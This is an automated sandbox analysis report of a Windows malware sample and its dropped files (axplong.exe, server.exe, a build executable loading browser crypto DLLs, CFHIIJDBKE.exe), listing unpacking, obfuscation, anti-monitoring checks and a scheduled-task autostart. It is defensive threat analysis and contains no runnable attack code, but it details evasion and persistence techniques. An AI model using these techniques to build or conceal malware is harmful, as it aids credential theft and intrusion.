Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: version.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: winmm.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: d3d9.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: wldp.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: winsta.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: version.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: winmm.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: d3d9.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: wldp.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: winsta.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe Section loaded: version.dll
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: IRqsWvBBMc.exe Static file information: File size 1947648 > 1048576
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: IRqsWvBBMc.exe Static PE information: Raw size of erhqbccx is bigger than: 0x100000 < 0x1a9e00
Source: Binary string: mozglue.pdbP source: build_2024-07-25_20-56.exe, 0000000A.00000002.3461746311.000000006C2DD000.00000002.00000001.01000000.0000000C.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.10.dr
Source: Binary string: freebl3.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.10.dr
Source: Binary string: freebl3.pdbp source: build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.10.dr
Source: Binary string: nss3.pdb@ source: build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ntdll.pdb source: server.exe, 00000009.00000002.2951247968.000002154A196000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953748985.000002154C190000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953613503.000002154BF96000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2949871501.0000021549197000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950026853.0000021549398000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952821135.000002154B394000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951676613.000002154A596000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952244888.000002154AB9F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952028567.000002154A99A000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953075860.000002154B79F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953342918.000002154BB9B000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950201489.0000021549599000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953481772.000002154BD9E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951868489.000002154A79F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952948313.000002154B59D000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950724116.0000021549B90000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950902814.0000021549D9D000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953209514.000002154B990000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951426592.000002154A393000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952693189.000002154B198000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950549608.0000021549992000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951082794.0000021549F9B000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952559231.000002154AF9F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952409232.000002154AD9E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950380023.0000021549795000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ntdll.pdbUGP source: server.exe, 00000009.00000002.2951247968.000002154A196000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953748985.000002154C190000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953613503.000002154BF96000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2949871501.0000021549197000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950026853.0000021549398000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952821135.000002154B394000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951676613.000002154A596000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952244888.000002154AB9F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952028567.000002154A99A000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953075860.000002154B79F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953342918.000002154BB9B000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950201489.0000021549599000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953481772.000002154BD9E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951868489.000002154A79F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952948313.000002154B59D000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950724116.0000021549B90000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950902814.0000021549D9D000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2953209514.000002154B990000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951426592.000002154A393000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952693189.000002154B198000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950549608.0000021549992000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2951082794.0000021549F9B000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952559231.000002154AF9F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2952409232.000002154AD9E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2950380023.0000021549795000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb@ source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3425240612.000000003B947000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.10.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3410147281.000000002FA6D000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.10.dr
Source: Binary string: nss3.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mozglue.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3461746311.000000006C2DD000.00000002.00000001.01000000.0000000C.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.10.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Unpacked PE file: 0.2.IRqsWvBBMc.exe.140000.0.unpack :EW;.rsrc:W;.idata :W; :EW;erhqbccx:EW;uokpdgqw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;erhqbccx:EW;uokpdgqw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 2.2.axplong.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;erhqbccx:EW;uokpdgqw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;erhqbccx:EW;uokpdgqw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 3.2.axplong.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;erhqbccx:EW;uokpdgqw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;erhqbccx:EW;uokpdgqw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Unpacked PE file: 10.2.build_2024-07-25_20-56.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Unpacked PE file: 10.2.build_2024-07-25_20-56.exe.19150000.4.unpack
Source: C:\ProgramData\CFHIIJDBKE.exe Unpacked PE file: 11.2.CFHIIJDBKE.exe.3350000.2.unpack
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Unpacked PE file: 10.2.build_2024-07-25_20-56.exe.400000.1.unpack
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00417A40 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 10_2_00417A40
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: server[1].exe.7.dr Static PE information: real checksum: 0x2a4571 should be: 0x29cd71
Source: server.exe.7.dr Static PE information: real checksum: 0x2a4571 should be: 0x29cd71
Source: axplong.exe.0.dr Static PE information: real checksum: 0x1ea38d should be: 0x1e0dac
Source: IRqsWvBBMc.exe Static PE information: real checksum: 0x1ea38d should be: 0x1e0dac
PE file contains sections with non-standard names
Source: IRqsWvBBMc.exe Static PE information: section name:
Source: IRqsWvBBMc.exe Static PE information: section name: .idata
Source: IRqsWvBBMc.exe Static PE information: section name:
Source: IRqsWvBBMc.exe Static PE information: section name: erhqbccx
Source: IRqsWvBBMc.exe Static PE information: section name: uokpdgqw
Source: IRqsWvBBMc.exe Static PE information: section name: .taggant
Source: axplong.exe.0.dr Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name: .idata
Source: axplong.exe.0.dr Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name: erhqbccx
Source: axplong.exe.0.dr Static PE information: section name: uokpdgqw
Source: axplong.exe.0.dr Static PE information: section name: .taggant
Source: server[1].exe.7.dr Static PE information: section name: .xdata
Source: server.exe.7.dr Static PE information: section name: .xdata
Source: freebl3.dll.10.dr Static PE information: section name: .00cfg
Source: mozglue.dll.10.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.10.dr Static PE information: section name: .didat
Source: softokn3.dll.10.dr Static PE information: section name: .00cfg
Source: nss3.dll.10.dr Static PE information: section name: .00cfg
Source: CFHIIJDBKE.exe.10.dr Static PE information: section name: .didata
Source: 7847438767[1].exe.10.dr Static PE information: section name: .didata
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_0090D84C push ecx; ret 7_2_0090D85F
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Code function: 9_2_00007FF68311229B pushfq ; iretd 9_2_00007FF6831122AC
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Code function: 9_2_00007FF6831155C0 push BAB381C6h; retf 9_2_00007FF6831155C5
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Code function: 9_2_00007FF683113408 push rax; iretd 9_2_00007FF68311340F
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0041CDD5 push ecx; ret 10_2_0041CDE8
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C29B536 push ecx; ret 10_2_6C29B549
Source: IRqsWvBBMc.exe Static PE information: section name: entropy: 7.978392023788185
Source: IRqsWvBBMc.exe Static PE information: section name: erhqbccx entropy: 7.954389255607031
Source: axplong.exe.0.dr Static PE information: section name: entropy: 7.978392023788185
Source: axplong.exe.0.dr Static PE information: section name: erhqbccx entropy: 7.954389255607031
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\build_2024-07-25_20-56[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\CFHIIJDBKE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\server[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\7847438767[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\CFHIIJDBKE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Creates job files (autostart)
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe File created: C:\Windows\Tasks\axplong.job Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00417A40 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 10_2_00417A40
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
